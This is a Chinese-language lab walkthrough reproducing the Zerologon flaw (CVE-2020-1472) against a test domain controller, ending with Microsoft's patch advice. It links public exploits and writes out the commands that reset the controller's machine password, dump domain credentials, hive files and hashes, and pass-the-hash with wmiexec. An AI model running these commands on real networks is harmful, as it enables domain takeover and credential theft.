漏洞描述:
2020年08月12日, 微軟官方發布了 NetLogon 特權提升漏洞 的風險通告。攻擊者通過NetLogon(MS-NRPC),建立與域控間易受攻擊的安全通道時,可利用此漏洞獲取域管訪問權限。成功利用此漏洞的攻擊者可以在該網絡中的設備上運行經特殊設計的應用程序。
漏洞級別:嚴重
漏洞編號:CVE-2020-1472
漏洞復現:
准備工具: Impacket工具包:https://github.com/SecureAuthCorp/impacket.git poc:https://github.com/SecuraBV/CVE-2020-1472.git exp:https://github.com/dirkjanm/CVE-2020-1472
exp:https://github.com/risksense/zerologon
1、查看域控的主機名
2、poc檢測
poc:https://github.com/SecuraBV/CVE-2020-1472.git
python3 zerologon_tester.py TEST-AD 10.1.1.24
返回Success,說明漏洞存在。
3、exp漏洞利用,將域賬號進行重置。
exp:https://github.com/blackarrowsec/redteam-research
4、導出域內所有用戶的憑證
secretsdump.py 'test.com/TEST-AD$@10.1.1.24' -no-pass
此時,TEST-AD$ hash已被替換為空。
TEST-AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
得到了域控的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040:::
5、使用administrator的hash橫向連接
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040 TEST-AD$/Administrator@10.1.1.24
6、獲取計算機賬號原始hash
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
7、將該原始計算機帳戶哈希還原
github地址:https://github.com/risksense/zerologon
python3 ./reinstall_original_pw.py TEST-AD 10.1.1.24 9b54a25e20fa4f8c7667edf62a03e2bd
8、查看TEST-AD$賬號的hash,已成功還原
secretsdump.py 'test.com/bypass:abc123!@10.1.1.24' -just-dc-user 'TEST-AD$'
修復建議:
微軟官方已發布補丁,找到操作系統版本的漏洞補丁,並進行補丁下載安裝。
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472
參考文章:
https://www.cnblogs.com/forforever/p/13682344.html
https://blog.csdn.net/u012206617/article/details/113106861